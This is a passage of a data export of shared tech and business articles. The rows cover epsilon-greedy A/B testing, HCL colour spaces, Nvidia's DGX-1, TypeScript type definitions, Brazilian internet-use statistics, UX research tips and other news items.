It doesn't really matter what we initialize them too, because the algorithm will adapt. So when we start out, the internal test data looks like this. Then a web site visitor comes along and we have to show them a button. We choose the first one with the highest expectation of winning. The algorithm thinks they all work 100% of the time, so it chooses the first one: orange. But, alas, the visitor doesn't click on the button. Another visitor comes along. We definitely won't show them orange, since we think it only has a 50% chance of working. So we choose Green. They don't click. The same thing happens for several more visitors, and we end up cycling through the choices. In the process, we refine our estimate of the click through rate for each option downwards. But suddenly, someone clicks on the orange button! Quickly, the browser makes an Ajax call to our reward function $.ajax(url:""/reward?testname=buy-button""); and our code updates the results: When our intrepid web developer sees this, he scratches his head. What the F*? The orange button is the worst choice. Its font is tiny! The green button is obviously the better one. All is lost! The greedy algorithm will always choose it forever now! But wait, let's see what happens if Orange is really the suboptimal choice. Since the algorithm now believes it is the best, it will always be shown. That is, until it stops working well. Then the other choices start to look better. After many more visits, the best choice, if there is one, will have been found, and will be shown 90% of the time. Here are some results based on an actual web site that I have been working on. We also have an estimate of the click through rate for each choice. Edit: What about the randomization? I have not discussed the randomization part. The randomization of 10% of trials forces the algorithm to explore the options. It is a trade-off between trying new things in hopes of something better, and sticking with what it knows will work. There are several variations of the epsilon-greedy strategy. In the epsilon-first strategy, you can explore 100% of the time in the beginning and once you have a good sample, switch to pure-greedy. Alternatively, you can have it decrease the amount of exploration as time passes. The epsilon-greedy strategy that I have described is a good balance between simplicity and performance. Learning about the other algorithms, such as UCB, Boltzmann Exploration, and methods that take context into account, is fascinating, but optional if you just want something that works. Wait a minute, why isn't everybody doing this? Statistics are hard for most people to understand. People distrust things that they do not understand, and they especially distrust machine learning algorithms, even if they are simple. Mainstream tools don't support this, because then you'd have to educate people about it, and about statistics, and that is hard. Some common objections might be: Showing the different options at different rates will skew the results. (No it won't. You always have an estimate of the click through rate for each choice) This won't adapt to change. (Your visitors probably don't change. But if you really want to, in the reward function, multiply the old reward value by a forgetting factor) This won't handle changing several things at once that depend on each-other. (Agreed. Neither will A/B testing.) I won't know what the click is worth for 30 days so how can I reward it? More blog entries",en
1459942453,CONTENT SHARED,-6171950598721418038,-2979881261169775358,3524544051424646826,,,,HTML,http://vis4.net/blog/posts/avoid-equidistant-hsv-colors/,How To Avoid Equidistant HSV Colors,"As some of you pointed out in the comments of my last post, taking equidistant colors in the HSV color space is no solution for finding a set of colors that are perceived as equidistant. This post describes what's wrong with HSV and what we can do about this. Note that since this post contains interactive elements built on the latest web technologies, you might need a modern browser to get the most out of it. What's so wrong with HSV? Well, the main problem is that the value component of HSV is just a measure for the physical lightness of color, but not for the perceived brightness . Thus, fully saturated yellow has the same ""value"" as blue. The same is true for the HSL color space. Here is a set of six colors of the same value to demonstrate this effect. The second row shows how the colors look after converting to grayscale via Photoshop. Beside of this strong hue-dependency of brightness, there is also no linear brightness gradient within a single hue. For instance, in the following HSL color scale the brightness step between the second and the third red appears much bigger than the step between the 3th and 4th color. Even worse, this effect seems to differ across different hues, as the comparison to the blue scale shows. After all, this should be enough reason to avoid equidistant HSV/HSL scales. But what options do we have instead? For the lazy ones: Use ColorBrewer So the question is, what shall we do about it? In the comments someone mentioned ColorBrewer , which is in fact a great solution for those who just want to get some colors without caring too much about the details. Here's a selection of sequential ColorBrewer scales. One drawback of this solution is that you're limited to a fixed number of colors. For each color scale, the collection gives you variants from 3 to 9 colors. Another drawback is that sticking to a predefined set of colors means giving away some artistic freedom. Also, and most importantly, it's not half as fun to pick existing solutions, isn't it? For the color geeks: Make friends with CIE L*a*b* At this point, you better prepare yourself for some ultimate color geekyness. Thanks to the gentle introduction of David Dalrymple , I finally dared to enter the magic world of the CIE L*a*b* color space. To get a better understanding of this color model, I ported David's code to JavaScript and built a tiny Lab color selector. The vertical slider allows you to navigate through the space. Also you can change the x and y axis using the links next to the slider. In general, the Lab color space has one component for L ightness and two bipolar color components a (yellow-blue) and b (green-magenta). While the lightness ranges from 0% to 100%, determining the valid ranges for a and b is somewhat tricky. The problem is that CIE L*a*b* contains more colors than are available in RGB. For instance, the ""valid"" range for a depends on the lightness and the second color channel. Another problem is that it's hard to select colors by mixing four colors. To get around those issues, David Dalrymple suggests a fancy transformation of the Lab space. HCL: Making CIE Lab more accessible The trick is easy. You use the a and b components to compute a color angle (hue) and a radius (chroma). Because it's not exactly the same as saturation in HSV, it's named c (for chroma). Basically this gives this us the CSL color space (although I'm not sure how this is named in vis science). Update: Thanks to Kelsey Higham I now know that the color space is actually named Hue-Chroma-Lightness or Munsell color system . As Maureen Stone correctly noticed in the comments, HCL is in fact just a cylindrical transformation of CIE L*a*b*. The L component also has some similarities to the Munsell color system . While the problem of non-existent colors still remains (especially if you increase saturation) this looks like something we can start to work with. For instance, if we take a look at equidistant HCL colors of the same lightness we get a much better result. Actually, if you'd convert this into grayscale again you get the exact gray value for all colors. Well, this is no big surprise, I bet Photoshop itself uses CIE L*a*b* for grayscale conversions. Now, let's grab some colors.. This is where the fun begins, so I'm glad you made it up to here. To learn more about the difference of equidistant colors across color spaces, I visualized the linear gradient in the color selector. Feel free to experiment with them and check how the HCL color space compares to other spaces like LAB , HSV , HSL or RGB . Also, it's interesting to directly compare the interpolated colors across different color spaces: Nice! How do I get those colors? To make things easy, I packed everything up in a small JavaScript library named chroma.js . It has a simple yet powerful API, check out the Github repository to learn more. Since this is still in early beta phase, l'd appreciate if you document bugs you may encounter. Yes! Now there's two new web-based tools that allow you to create nice color scales using Chroma.js. The first one, titled Colors for data scientists and created by Mathieu Jacomy, provides advanced tools to generate, correct, and complete color palettes. Mathieu also wrote a lot of additional explanation why it is better to use the L*a*b* color space for automated color palette generation. The second tool is more targeted to people who simply want to quickly pick some nice colors from the HCL color space. It is based on the color picker shown in this post, but allows you to copy the hex codes for the colors. Also it shows you a choropleth preview of the colors which gives it this special Colorbrewer feeling, and you can bookmark and share you color palettes, too. It was created by Tristen Brown . Update 2: Using HCL in d3.js Now there's also a plugin that makes it easy to use HCL (or CIE LCh, how Mike calls it) within the powerful d3.js visualization library. You can see it in action here . To make it more clear how to use the HCL interpolator, I created this simple example snippet (live demo here ):",en
1459942552,CONTENT SHARED,-860914756454619650,-1032019229384696495,4701400586904018541,,,,HTML,http://techcrunch.com/2016/04/05/nvidia-announces-a-supercomputer-aimed-at-deep-learning-and-ai/,Nvidia announces a supercomputer aimed at deep learning and AI,"The sophisticated neural networks underlying systems like Google's Deep Dream and all manner of interesting experiments require a great deal of computing power. Nvidia proposes to put all that horsepower in a single box, specially engineered to meet the needs of AI researchers. Nvidia already has GPUs specializing in deep learning applications , so this was a logical next step. It's called the DGX-1, and it's basically a fancy enclosure for an 8-GPU supercomputing cluster. Not that there's anything wrong with that. There are 8 Tesla P100 cards in there with 16 GB of RAM each, plus 7 TB of storage for all the raw data you'll be training your networks on. And there's something called a NVLink Hybrid Cube Mesh, but I'm pretty sure that's made up. There's built-in neural network training software, though many researchers and companies will want to roll their own solutions. The DGX-1 is happy to crunch data either way. A standardized platform like this takes the guesswork out of building a system, and having a big name like Nvidia providing support and regular updates is a nice way to justify the extra cost to your budget people. Still not clear on what exactly a deep learning system or neural network is? The short version is that they are programs that simulate human-like thought processes by looking very closely at a huge set of data and noting similarities and differences on multiple levels of organization. The result is a system that can quickly and effectively perform tasks like image analysis and object or pattern recognition. It's still fairly new even to people in the AI and computer science field, so don't feel bad that you didn't know or that I'm bad at explaining. Systems like Deep Dream will run on regular CPUs and the like, of course, but as with so many other data-intensive computing tasks, parallel processing beats serial any day of the week. GPUs are already massively parallelized, having to handle huge amounts of data under extremely strict time constraints, so they're a great match for supercomputing rigs. 8 Teslas in parallel is nothing to sneeze at (they produce 170 teraflops), and while you could rent time on a cloud cluster with more raw power, there's a lot to be said for running your own hardware in-house. No pricing info is available just yet, but we've contacted Nvidia for that and other details. Featured Image: Nvidia",en
1459943869,CONTENT SHARED,-6778286518036232293,268671367195911338,4629505690017894377,,,,HTML,https://medium.com/@method_inc/the-future-of-business-is-design-ad73cbde59b,The Future of Business is Design,"The Future of Business is Design Written by Patrick Newbery Designers have always deserved a seat at the planning table. We have an important message: Don't treat design as the last, final stage in the process; it limits what design can do. But now that we are at the table, we have to deal with the broader challenges: competing priorities, different world views, and multiple, seeming valid ideas about what to do and how to do it. What is actually needed is a framework for helping all sides work through complex situations when it's not always clear what forward should look like. Think Design. Design matters. Business has not missed this point, although some have had to learn it the hard way. Design mediates utility, usability, desirability, and maintainability. All are important aspects of creating a satisfying product or service experience. Businesses rely on design to increase the quality of experiences. Yet both business and design often evaluate their work from a myopic perspective: does it live up to what we had in mind when we started? The true context in which the solution will be measured - the continuum of the customer's relationship with the business - is often not considered. This is a big mistake for both business and design. This context is where the most important criteria play out, and this is the simple decision by the customer (conscious or not): ""Will I continue this relationship?"" This customer/business relationship occurs against a backdrop of constant change, and the pace is accelerating. In all likelihood, tomorrow's technology will be in market before the future value of today's technology is exhausted. This raises some interesting questions: How should business and design handle this kind of change? What's the correct approach for designing a product that has never existed? What criteria should be used to determine great design? What business and design need is to redefine how they collaborate by making sure that it is based on a shared perspective: what creates value for real customers, in real contexts, in the face of real change. That's what Experience Design is all about. What is Experience Design? We define Experience Design as the recognition that for any business there are four attributes that are all integrally related: The Brand: What you stand for, why your customers care about what you do The value provided through your products and services The quality of all the interactions a customer has with you (the business) The future opportunities to deliver value to customers The dynamics of this relationship changes over time, but the objective must be for ongoing customer engagement. Experience Design is a post-disciplinary approach, one that integrates brand relevance and a focus on engagement in order to sustain the business/customer relationship. It is inclusive of all the design disciplines and methodologies which focus on addressing the requirements and behaviors of real people at the forefront during the design process, creating value for the human experience, accelerating time to market, etc. We need a perspective more than a checklist While the Experience Design perspective provides a good foundation for business and design to collaborate, it doesn't provide the answers to questions in advance. It's a multi-purpose tool, and part of a tool's value and effectiveness lies in people understanding what it can do, why to use it, and how best to use it: 1. Businesses are rarely organized for delivering great end-to-end experiences Businesses are generally structured for operational efficiency. Exposing this structure to customers is not a good strategy. It can result in gaps, inconsistencies, contradictions, and redundancies that create a fragmented experience. In most cases buying the best design services or hiring the talent in-house is done to address needs at the resource level, but it's not a systemic solution. Getting the entire business to see the interrelationship of brand, product/service and customer relationship makes it more likely that the right design talent can be used to address needs correctly, even if the responsibilities cut across business functions and divisions. 2. Brand is what you do, not just what you say As a business you have a brand whether you actively manage it or not. Your brand is an asset that can both appreciate and depreciate, depending on how it is used. Figuring out how to ""be true"" to the brand means that it must be defined, used, and managed in a holistic way. Experience Design provides a way to integrate all the different constituents concerned with the meaning of the brand, including the customer. 3. Design will only take you where you let it When design is seen simply as a stage in a process, it will inherit all of the decisions made prior to design starting. If these decisions are based on assumptions or lack of adequate information, the result is a set of criteria that can significantly undercut design's ability to improve things. At the same time, if the designer's focus is too narrow, important needs and considerations that should be addressed are left out. This is where Experience Design comes in. It provides tools for assembling and accounting for a variety of inputs including business, customer and brand needs, production constraints, support requirements and more, helping cross-functional teams understand and prioritize information. When both business and design work from an Experience Design perspective it makes it easier to understand the implications of different design options that at the surface level may seem arbitrary or inconsequential. 4. Business needs engagement, not just innovation It costs more to win a new customer than it does to keep an existing customer. Product and service strategies need to address the creation and delivery of ongoing value for customers and lay the stepping-stones to new areas of value. Looking at how brand differentiation and customer context overlaps helps the brand identify and deliver this value, as well as keep customers more engaged. With the increase in the amount of data that can be captured and analyzed, having a way to help guide analysis and a clear path to manage the findings will separate the leaders from the followers. 5. The future will prove to be a lot like the past: non-linear There are many examples of businesses that have been done in by change, especially technological change. In hindsight, it's easy to see what they should have done. It's much harder to look at the present and say which are the clear signals of change and which direction forward is the successful one. At the same time, understanding your current business from an Experience Design perspective enables a platform for developing and managing a portfolio of options and innovation opportunities, and serving customers in a rapidly changing world: A better understanding of engaged customers will create a sense for what emerging needs are cropping up. Having a strong sense of what the brand is and how to make it real helps expand into new areas, and guide how new innovations can be made to ""embody"" the brand more effectively. A series of parallel efforts, with differing levels of investment, can be coherently managed. Many design professionals will say that Experience Design is simply what doing good design is all about. Others may feel that their discipline is already delivering design solutions that integrate the issues outlined. Neither of these is an issue, as we feel that there is still a need to provide a common platform of understanding for both business and design: one that helps business see the world through a design lens, and one that helps design see the world through a business lens. If you are interested in learning more on Method's Experience Design perspective, or would like to get in touch with the author, Patrick Newbery, please send a message to [email protected] .",en
1459944142,CONTENT SHARED,-5769968511636780471,3609194402293569455,5310902360327348073,,,,HTML,http://trendwatching.com/trends/the-future-of-betterment/,New Trend Briefing from TrendWatching | THE FUTURE OF BETTERMENT,"Millions of consumers live in societies of once undreamed affluence. Objects that were rare are now ordinary. The Experience Economy turned amazing into expected . Digital connection widened the scope of people's lives - the social access, resources and knowledge - beyond recognition. Sure, life isn't like that for everyone. But even in less affluent societies, it's the direction of travel. Meanwhile, expectations are being set by the latest, best and most exciting worldwide. What happens in this kind of environment? We've all read our Maslow: people turn to self-actualization. That is, an endless search to realize the idealized version of themselves that they carry around in their head. What can we add that Maslow didn't? In 2016, consumerism is the primary means by which people pursue that search. The brands they'll notice, engage with, love, are those that help them be the people they want to be . That's why (bold claim coming) self-actualization is the future of consumerism. So where does health and wellness fit in to all this?",en
1459944481,CONTENT SHARED,5189107351987144723,-7299489921519728176,-9155210528567886717,,,,HTML,https://blogs.dropbox.com/dropbox/2016/01/new-microsoft-integrations/,Better together: New Microsoft integrations for easier collaboration,"When we partnered with Microsoft in 2014 , we had one goal in mind: to help you be more productive anywhere and on any device. Since then, we've introduced integrations that let you edit Microsoft Office files stored in your Dropbox directly from the web or on your mobile device . And just last week, we released a brand new Dropbox app for Windows 10 . Today we're excited to mark the next phase of our partnership with the release of two new integrations with Microsoft products. ""This announcement is just the next step in our journey to make Office files more accessible no matter where they're stored. We're excited that Dropbox customers now have the capabilities to co-edit files in Office Online. They can now also send documents directly from Dropbox within their Outlook.com account, allowing them to better collaborate regardless of their device or location."" Kirk Koenigsbauer, Corporate Vice President, Microsoft Office Co-edit files in Office Online With the newly introduced co-authoring in Office Online, you can collaborate on the Office docs in your Dropbox with others in real time. Now when you need to update a report or finalize a presentation with your teammates, there's no need to email feedback or send multiple versions back and forth. Everyone can edit the same Office file at the same time-making collaboration a breeze. Here's how it works: From dropbox.com, open any Microsoft Word, Excel, or PowerPoint file in a shared folder with Office Online. You can then start working on the file with other members of the shared folder-right from your browser. You'll be able to see when collaborators are making changes and communicate through comments while editing the same file. Best of all, changes are saved automatically to Dropbox, and your teammates can keep working on the file even after you close it. With this deeper integration, you get the power of Dropbox right from the Office tools you rely on to get work done. This feature is available now to all Dropbox Basic and Pro users as well as Dropbox Business users with a paid Microsoft Office 365 license. To learn more, check out our Help Center . Easily share files on Outlook.com We're also making email easier on Outlook.com . Soon, you'll be able to choose and send files directly from Dropbox without worrying about attachment limits. When you compose emails on Outlook.com, you'll be able to access and share all the files you need, whether you're at your desk or on the road. The Office Online co-authoring integration is live today, and Dropbox sharing in the new Outlook.com will be available in the next few weeks. To learn more, visit the Microsoft Office blog .",en
1459945967,CONTENT SHARED,8300126456272756546,-1578287561410088674,9005952911307437548,,,,HTML,http://www.theverge.com/2016/4/5/11367508/sphero-bb8-toy-watch-force-awakens-with-you,Sphero's BB-8 toy will now watch The Force Awakens with you,"Sphero's rocking, rolling BB-8 toy can already totter amiably about your house and terrify your cat, but the tweedling ball now has another trick up its non-existent sleeves - it can watch The Force Awakens with you . Sphero has updated its BB-8 app with a new ""Watch With Me"" feature that uses your mobile device's microphone to listen for audio cues in the movie, allowing it to react to certain scenes. Plug BB-8 into his charging station with the app active and the little droid will cower in mock fear when Kylo Ren makes his presence known, whoop happily when Han Solo and Chewbacca appear on screen, and proudly chirrup to himself during his own scenes. You'll need a copy of the movie, obviously, but the fact BB-8 relies on audio means you won't need to splurge on a special edition in order to activate the feature. Sphero has been slowly adding new capabilities to its toy droid since its launch last September. In January, the company released a new wristband that let owners control their spherical friend with gestures alone, allowing it to go where they go, look where they look, and spin when they spin. At this rate, my dream of a sentient droid buddy can't be too far off, and Sphero - if you're listening - please make it so your next BB-8 model comes with lighters for thumbs.",en
1459953016,CONTENT SHARED,3995377148178067553,5660542693104786364,8184219702085830054,,,,HTML,http://www1.folha.uol.com.br/mercado/2016/04/1757972-celular-se-torna-principal-meio-de-acesso-a-internet-nos-lares-diz-ibge.shtml,"Celular se torna principal meio de acesso à internet nos lares, diz IBGE","Jhon Paz/Xinhua Celulares se tornaram principal meio de acesso à internet nas residências do país O telefone celular tornou-se, pela primeira vez, o principal aparelho de acesso à internet nos domicílios brasileiros, superando os microcomputadores, segundo dados divulgados pelo IBGE nesta quarta-feira (6). O número de domicílios com acesso à internet por meio de telefone celular saltou de 16,8 milhões em 2013 para 29,6 milhões em 2014. Dos lares conectados à internet, em 80,4% o acesso era feito pelo aparelho. Naquele ano, o país viveu um período de grande popularização dos aparelhos smartphones, o que era acompanhado pela migração de terminais 2G para 3G e 4G (de maior velocidade de acesso à internet). Com quais aparelhos é feito esse acesso nos domicílios - Em % O acesso por meio de computadores até cresceu no período, de 27,6 milhões em 2013 para 28,2 milhões em 2014 (alta de 2,2%). Mas o aumento do número de lares no país foi ainda maior e o PC acabou perdendo espaço. Com isso, a proporção de residências que usavam o PC para acessar a internet recuou de 88,4% em 2013 para 76,6% em 2014, segundo o suplemento de tecnologias da Pnad (Pesquisa Nacional por Amostra de Domicílios). REGIÕES Num olhar por regiões do país, Norte e Centro-Oeste destacam-se no uso do celular. Nelas, o uso do aparelho para acessar a internet foi registrado em 92,5% e 86,3% dos domicílios pesquisados, respectivamente. Essa maior presença é explicada por fatores como a baixa densidade populacional e pouca infraestrutura por fibra ótica ou ADSL. Isso faz com que a telefonia móvel acabe se tornando, muitas vezes, a única opção de conexão. Por essa mesma lógica de disponibilidade, o uso do microcomputador para acessar a internet continuava maior nas regiões Sudeste e Sul do país, em 82,4% e 83,2% dos lares em 2014. As regiões têm diferentes fornecedores de internet. Por anos de estudo - Em % No geral, 54,9% das residências do país tinha acesso à internet. Isso significa que, pela primeira vez, mais da metade das residências particulares estavam conectadas à web. Eram 48% em 2013. A pesquisa do IBGE mostra também que uma parcela ainda pequena dos lares usava tablets (21,9% dos domicílios) e a televisão (0,9%) para acessar a internet. Neste caso, a proporção é maior no Sudeste. MAIS DA METADE Segundo os dados do IBGE, o número de pessoas com telefone móvel para uso pessoal no país cresceu 4,9%, passando de 132,2 milhões em 2013 para 136,6 milhões em 2014. Isso corresponde a 77,9% da população (com 10 anos ou mais). Quem acessa à internet - Em % Essa forte expansão foi uma das razões para que, pela primeira vez, mais da metade da população usasse a internet em 2014. Essa proporção cresceu de 49,4% em 2013 para 54,4% em 2014 (95,4 milhões de pessoas). O levantamento constatou também que a proporção de pessoas que utilizam a rede aumenta conforme o rendimento: das pessoas que ganham mais de dez salários mínimos, 91,5% acessava a internet. Já os que não acessaram somaram 79,8 milhões de pessoas, uma queda de cinco pontos percentuais em relação ao ano anterior. Os sem-internet eram formados sobretudo por idosos e pessoas menos escolarizadas.",pt
1459956341,CONTENT SHARED,-8587352636561360574,-1387464358334758758,5867256493951192822,,,,HTML,http://googlediscovery.com/2016/04/05/sons-de-animais-na-busca-do-google/,Sons de animais na busca do Google | Google Discovery,"O Google criou card especial em seu resultado de pesquisa que fornece diversos sons de animais que podem ser ouvidos com apenas um clique do mouse. De acordo com o buscador, os sons foram gravados a partir de animais vivos e irão surgir junto aos resultados sempre que o mecanismo de pesquisa identificar como relevante para o usuário. A novidade pode ser ativada nos resultados de pesquisa a partir do termo: [ sons de animais ] é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1459961256,CONTENT SHARED,-8388400806941996172,-4243635261966794110,-2955857083043076023,,,,HTML,http://blog.mgechev.com/2016/03/28/ambient-type-definitions-duplicate-identifier-typescript-fix/,Managing ambient type definitions and dealing with the,"Maintaining the angular2-seed , I found out that the most common problem for developers using the project is: Duplicate identifier 'export='. (2300) compilation error. In this quick tutorial I'll show discuss what does this error mean and how you can fix it. In order to get better understanding of the problem we'll discuss the differences between TypeScript and JavaScript, as well as ambient type definitions and typings. Intro Before getting any further we need to tell a few words about the ambient type definitions of TypeScript. If you are familiar with the differences between TypeScript and JavaScript, you can skip this section. TypeScript is a statically typed language which is a superset of JavaScript. Being statically typed means that once we write our program it needs to go through a phase of compilation. During this phase the compiler performs type checking in order to verify correctness to some extent. For instance: // person-hero.ts class Person { talk() { // ... } } class Superhero extends Person { fly() { // ... } } let bar = new Person(); bar.fly(); If we try to compile the above file, the TypeScript compiler will throw the following error: $ tsc person-human.ts Property 'fly' does not exists on type 'Person'. In contrast, if we run the following file with JavaScript: $ node person-human.js Uncaught TypeError: bar.fly is not a function Although both scripts throw an error, tsc throws the error compile-time , compared to node , which throws the error run-time . Compile-time errors are easy to handle by developers because they are based on a static code analysis performed over their code. This means that the compiler is able to notify the developers about eventual mistakes before the code reaches the users . On the other hand, in case we use dynamic typing with JavaScript, we may not find all the errors that we have made. The code of the dynamically typed languages is harder (even impossible in most cases) for advanced static code analysis so it is quite likely to not find the possible issue in our code base even after we deploy it to production. Ambient Type Definitions Although TypeScript is superset of JavaScript we want to be able to use programs written with TypeScript together with such written in JavaScript. For instance, lets suppose we want to use Angular 2, a framework written in TypeScript, together with jQuery. TypeScript compiles to JavaScript, which is great. This means that once the TypeScript code has been compiled it can communicate with code written in JavaScript but how to use jQuery within our TypeScript code? Lets take a look at the following example: // jquery-demo.ts let a = $('.foo'); We invoke the $ function with a selector. The code above will produce the following compile-time error: $ tsc jquery-demo.ts Cannot find name '$'. This is due the fact that TypeScript is much stricter compared to JavaScript. It cannot relay on the fact that we may have included a reference to jQuery somewhere in our page. TypeScript needs to have declaration of $ . That is why the ambient type definitions appeared. In order to declare that we have a global function called $ what we can do is: // jquery-definition.ts declare var $: Function; let a = $('.foo'); Now if we run: $ tsc jquery-definition.ts # Will output the file jquery-definition.js Notice that declare var $: Function is not a definition of the $ function but only a declaration . In case we run node jquery-definition.js we will still get a run-time error because $ is not defined. Why Ambient Type Definitions? The main purpose of the ambient type definitions is that they allow text editors and IDEs to perform advanced static analysis over libraries and frameworks written in JavaScript. This is a great benefit since we are able to get compile-time errors and IntelliSense during development! It is much less likely to hit run-time errors caused by misspelling a property name or just passing an object of an incorrect type to a function. Managing Ambient Type Definitions If you are already familiar with typings and tsd you can skip this section. It is quite likely to use the ambient type definitions for some of the most popular libraries written in JavaScript such, as jQuery, AngularJS 1.x, React, etc. A few years back, from DefinitelyTyped , created a CLI (Command-Line Interface) manager called tsd . Later this tool was deprecated and replaced by the more advanced one - . Typings allows us to download the ambient type definitions of the libraries we use. You can install typings with: In order to install the ambient type definitions of jQuery using typings you can use: $ typings install jquery --ambient The code above will produce the following directory structure: . └── typings ├── browser │ └── ambient │ └── jquery │ └── index.d.ts ├── browser.d.ts ├── main │ └── ambient │ └── jquery │ └── index.d.ts └── main.d.ts 7 directories, 4 files Using Ambient Type Definitions So far so good, but now how to use the provided type definition? In the same directory where we installed jQuery's ambient type definitions, lets create the following file: // jquery-demo.ts /// <reference path=""./typings/browser/ambient/jquery/index.d.ts""/> let height = $('.foo').height(); Instead of in-lining the type definition inside jquery-demo.ts we used the <reference/> element. We can make this even shorter by: // jquery-demo.ts /// <reference path=""./typings/browser/browser.d.ts""/> let height = $('.foo').height(); Although this works, it is not quite flexible. If we change the location of the definition file or the location of any file using the definitions we need to change the value of the path attribute. tsconfig.json allows us to have further flexibility: tsconfig.json TypeScript defines a configuration file called tsconfig.json . In this file you can provide configuration for the TypeScript compiler. Here is a sample such file: In this file we've set that we want to use es5 as target language and that we want to exclude the directories node_modules and dist . Now lets add this file to the directory where we installed the jQuery's ambient type definition. In the end our directory structure should look like: . ├── jquery-demo.js ├── jquery-demo.ts ├── tsconfig.json └── typings ├── browser │ └── ambient │ └── jquery │ └── index.d.ts ├── browser.d.ts ├── main │ └── ambient │ └── jquery │ └── index.d.ts └── main.d.ts 7 directories, 7 files Thanks to the tsconfig.json we can compile our jquery-demo.ts using: This way tsc will pick its configuration from the tsconfig.json file. After running the command...we get plenty of: # ... typings/main/ambient/jquery/index.d.ts(2829,5): error TS2300: Duplicate identifier 'length'. typings/main/ambient/jquery/index.d.ts(2834,5): error TS2300: Duplicate identifier 'selector'. typings/main/ambient/jquery/index.d.ts(2835,5): error TS2374: Duplicate string index signature. typings/main/ambient/jquery/index.d.ts(2836,5): error TS2375: Duplicate number index signature. typings/main/ambient/jquery/index.d.ts(3209,5): error TS2300: Duplicate identifier 'export='. This is due the reason that: typings/browser/ambient/jquery/index.d.ts typings/main/ambient/jquery/index.d.ts Contain the same definitions! In order to fix the error we should take advantage of the exclude section of tsconfig.json : Now when we run: We can even remove the <reference/> tag from jquery-demo.ts and everything is still going to work! The behaviour of tsc in this case will be: ""Take all the files and all the type definitions from the current directory and all of its subdirectories, except the ones declared in the 'exclude' array"". No Namespacing of Type Definitions You might be wondering why would we have the same type definitions in both main and browser ? The ambient type definitions in TypeScript cannot be namespaced . Why not? Well, if we use jQuery in our project and we cannot include two different sets of ambient type definitions since we have a single global jQuery object, so only a single interface. For this purpose typings uses two different sets of type definitions - for the front-end of our application and for its back-end/build/whatever. Recap In recap: TypeScript is statically typed language, which is great since we can catch the errors we do before the users of our software! TypeScript adds type definitions through type annotations which help the compiler to perform advanced static code analysis. We can take advantage of static typing with non-TypeScript library by using ambient type definitions with tools like typings . The ambient type definitions are not namespaced, they are always global! Fix Duplicate * error in TypeScript by using tsconfig.json 's exclude section and add there the redundant type definitions. Using <reference/> is considered a bad practice.",en
1459964912,CONTENT SHARED,-6863138929434705713,692689608292948411,1790772745426922447,,,,HTML,http://buytaert.net/state-of-drupal-2016-survey,State of Drupal 2016 survey | Dries Buytaert,"It shouldn't take more than 10-15 minutes to fill out the survey. We'd like to hear from everyone who cares about Drupal: content managers, site owners, site builders, module developers, front-end developers, people selling Drupal, etc. Whether you are a Drupal expert or just getting started with Drupal, every voice counts!",en
1459965595,CONTENT SHARED,4441012164161473407,3375381077362025672,-7761881270778887005,,,,HTML,https://www.viget.com/articles/5-ways-to-save-time-during-research,5 Ways to Save Time During Research | Viget,"Research can sometimes feel like a luxury when you work at an agency. With budget constraints, we have to conduct research much more leanly than we might, say, at a product company that has more flexibility when it comes to timelines and hours. This can be frustrating, but some research is always better than no research, and it's often just a matter of getting creative or simply knowing what tools are out there to help you get things done quickly. Here are five tips that have saved us time while conducting research and allowed us to fit it into various projects: 1. Use social media and pow wow to make recruiting faster Does your client have a large and engaged audience on at least one social media channel? Recruiting via social media may be a fast and easy option for you. Here's what you need to do: Put together a screener - We like SurveyGizmo for screeners since it allows conditional logic. Set up appointments in pow wow - Our homegrown tool makes scheduling appointments easy. Pow wow makes scheduling easy by pulling in your appointments from Google Calendar [in gray] and letting you set appointment slots that people can sign up for [in pink]. Link to pow wow at the end of the screener - Qualified participants can sign up for appointments without additional correspondence. Write copy for your social media post - Explain what you're recruiting for, what compensation you're offering, and when testing/interviews are taking place. Post to social media - Have the client post this to whatever social media channels you specify. Time estimate : About 4 hours to put together materials; 2 - 3 days for participants to sign up. 2. Don't conduct a survey when you should conduct interviews Sometimes, we get pushback from clients who want us to conduct a survey instead of conducting interviews. They assume that conducting a survey will be faster, and they generally have a misperception around how hard it is to put together a good survey . Furthermore, they fundamentally don't understand what kind of information is best gathered by a survey, and what is best assessed by interviews. Surveys are great if you're looking for information that's straightforward and easily quantifiable. In this case, a survey is going to be much faster than interviews. However, if you're trying to gather in-depth insights on goals, needs, motivations, and behaviors, conduct interviews. If you try to gather this via a survey, you're going to end up wasting a lot of time trying to make a survey do what you can do much more easily in interviews. In this case, save your time and the client's money by conducting interviews. Time estimate : 8 hours for interview question prep and review with your team; about 60 - 90 minutes per interview (including prep/follow-up time). 3. Use lightweight prototypes for testing Built-out prototypes are rarely needed for testing. Most of the time, a lightweight prototype will get the job done. Here are some options: Paper prototypes - Use these for informal testing with coworkers, family, or friends and to get feedback before moving into wireframes. This simple paper prototype I used a couple years ago to do some usability testing helped me to greatly improve the overall flow of the app. Keynote - Keynote is great for putting together animations and creating clickable prototypes. Invision - Creating clickable prototypes in Invision is fast and easy, and they're great for user testing and sharing with clients. Hype - Hype is great for more nuanced animations. Time estimate : Anywhere from 0 hours (if you already have sketches you can test, or an Invision prototype you've created) - 4 hours to put together one of these prototypes. 4. Don't be afraid of coffee shop or hallway testing People have been talking about coffee shop testing for years to mixed reviews - like surveys, coffee shop testing is limited in what it can accurately assess . My personal opinion? If you're working on a tight budget, coffee shop or hallway testing is better than doing no testing at all as long as you're aware of the limitations. Time estimate : About 2 hours to go to a coffee shop and test 5 people. Hallway testing with coworkers will take less time. 5. Utilize unmoderated testing If you have a small research budget and coffee shop/hallway testing won't cut it, unmoderated testing is a great option. Here are a few tools that will get your work in front of your target audience: Treejack - Part of the Optimal Workshop suite , Treejack tests information architecture by pairing an outline of your IA with a series of questions. Chalkmark - Also part of the Optimal Workshop suite , Chalkmark allows you to upload screenshots and ask a series of questions (i.e., where would you click to find more information about X?). Usabilia - With Usabilia, you can add a Feedback tab to your website that lets people answer questions or send feedback about the pages you've selected. Usertesting.com - With Usertesting.com, you can get videos of people using your website or prototype. Time estimate : 4 - 6 hours to put together the test; a few days for feedback (depending on where you distribute the survey) ---- Research takes time, but it can provide significant value and may not take nearly as much time if it's well planned and lightweight. And, remember, research may save you time overall if it's going to ease decision-making, persuade the client, and avoid multiple iterations of something. In that sense, research is more of an investment in your project's budget, not something that detracts from it.",en
